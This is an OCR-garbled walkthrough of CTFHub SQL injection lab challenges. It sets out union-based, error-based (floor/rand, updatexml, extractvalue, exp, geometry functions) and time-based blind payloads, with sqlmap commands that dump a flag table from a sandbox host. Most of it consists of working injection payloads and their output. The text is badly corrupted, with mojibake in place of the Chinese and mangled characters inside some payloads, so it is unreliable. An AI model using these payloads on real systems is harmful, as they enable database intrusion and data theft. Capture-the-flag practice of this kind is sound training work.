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SQL BEENEN
ID | fEdiet?

select * from news where id=1

ot - T o ([ ]
Data: ctfhub ~—:_ fﬂl % LQULE’U—”

2MREEA)EBFTEAHEM — L2, FHand kMR BFEEAN: 1and 1=1. 1and 1=2

select * from news where id=1 and 1=1 Bl & IEF R Rid=1
select * from news where id=1 and 1=2 Bl B4R R ERIAE

3. FHunionRFTHAEMREELREES, B: 1and 1=2 union select 1,database(); i E R : sqli

SQL EZ2ENEAN
D e

select * from news where id=1 and 1=2 union select 1,database(); pr Ly
W Ll
ID: 1 (U P A
Data: sqli

ABERS, BBIFKRnews flag

1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

SQL BEHELEAN
ID | Eiadid?

select * from news where id=1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where

table_schema="sgli® - i frar
ID: 1 ) U R s

Data: news,flag

5. &F flagk 54, 5405 flag



1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'

6.5FFB4A, Hfflag

1 and 1=2 union select 1,group_concat(flag) from sqli.flag

SQL BEEHELEN

select * from news where id=1 and 1=2 wunion select 1,group_concat(flag) from sgli.flag
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SQL #zEEIFEAN

select * from news where id=1

EAIEH
2.f/# F1 and 1=2 union select 1,database(); R EHEIEE S, KIALEMAER .
Gy
SQL fzEEiEAN
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select * from news where id=1 and 1=2 union select 1,database();
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SQL #kEiEA

select * from news where id=1 and 1=2 union select 1,
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EAEIR: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for tm_glﬂ—“yf“i_(" gmmgar b

at line 1
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1.floor()

id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.ta
2.extractvalue()

id = 1 and EXP(~(SELECT * from(select user())a));

3.updatexml()

id = 1 and (updatexml(@x3a,concat(l, (select user())),1));

4.exp()

id =1 and EXP(~(SELECT * from(select user())a));

5.GeometryCollection()

id = 1 AND GeometryCollection((select * from (select * from(select user())a)b));
6.polygon()

id =1 and polygon((select * from(select * from(select user())a)b));
7.multipoint()

id = 1 and multipoint((select * from(select * from(select user())a)b));
8.multilinestring()

id = 1 and multilinestring((select * from(select * from(select user())a)b));
9.linestring()

id = 1 and LINESTRING((select * from(select * from(select user())a)b));
10.multipolygon()

id =1 and multipolygon((select * from(select * from(select user())a)b));
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1 Union select count(*),concat(database(),0x26,floor(rand(@)*2))x from information_schema.columns group by
XERHEHAT as x, B—AH4

JRH#: group by THR, KRBEI—AEFR, ARIEHNFMEEEE,

FiEE#, group by x, FFHI—FHiHNe, ENEREANGFEEMEN, 2J5 select FFrand(), ENL, FHAIL;
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SQL #EEAN
ID | EPE?

select * from news where id=1 Union select count(*),concat(database(),0x26,floor(rand(@)*2))x from information_schema.columns
group by x; o s T
O U BB S )

EiAJEEIE: Duplicate entry 'sqli& 1" for key ‘group_key'

6.EWRA

sQL #FEEN
D FErisdiat?

((select table_name from information_schrma.tables where

2 | rep e |l
table_schema="sqli' limit @,1),8x26,floor(rand(@)*2))x from information_schema.columns g*;élinjnijgu-ié{gigjjm

EialfEiR: Duplicate entry 'news&1" for key ‘group_key’



SQL #EEEAN
D FEE?

select * from news where id=1 Union select count(*),concat((select table_name from information_schema.tables where
table_schema="'sqli’' limit 1,1),8x26,floor(rand(8)*2))x from information_schema.columns g ° = brl ”i,—jr"viﬁgj‘wﬂ
. o . , \ . \ ) L e = S
HiFA&I2: Duplicate entry 'flag&1’ for key 'group_key = o
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1 Union select count(*),concat((select column_name from information_schema.columns where table_schema='sqli

SQL fREEEN
D ity

select * from news where id=1 Union select count(*),concat((select column_name from information_sche—a.columns Nh’er'lel_ ,
LA Ry il
table_schema="sqli’ and table_name="flag' limit @,1),8x26,floor(rand(8)*2))x from in‘For‘mation_schema‘k’-gﬂrfﬁlygwﬁﬂ,@}wu
HiFf5IR: Duplicate entry 'flag& 1’ for key "group_key'

8. EWFB

1 Union select count(*),concat((select flag from flag limit 0,1),0x26,floor(rand(0)*2))x from information_s

SQL #EEEN
D EnaiE?

select * from news where id=1 Union select count(*),concat((select flag from flag limit ©,1),8x26,flo" ‘_fr'andra}-‘?_}}x from
LA ] -
information_schema.columns group by x i/ I

EiFEIR: Duplicate entry ‘ctfhub{3abae65add59d4368068ebda}&1" for key ‘group_key’
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select * from news where id=1
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1 and if(length(database())>=0,sleep(3),1)
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select * from nsws where id=1 and if{length(database())>=8,sleep(3),1)
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sqlmap --url="http://challenge-e375ec8bdcad@®84.sandbox.ctfhub.com:10800?id=1" --current-db

nd due to good r
current da

d to text files under °froot/. sqlmap/outp allen;
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[*] ending

4 1BRA

sqlmap --url="http://challenge-e375ec8bdcad@e84.sandbox.ctfhub.com:10800?id=1" -D sqli --tables

51854

sqlmap --url="http://challenge-e375ec8bdcad@084.sandbox.ctfhub.com:10800?id=1" -D sqli -T flag --columns



6.&2 7B, 153flag

sqlmap --url="http://challenge-e375ec8bdcad@084.sandbox.ctfhub.com:10800?id=1" -D sqli -T flag -C flag --du
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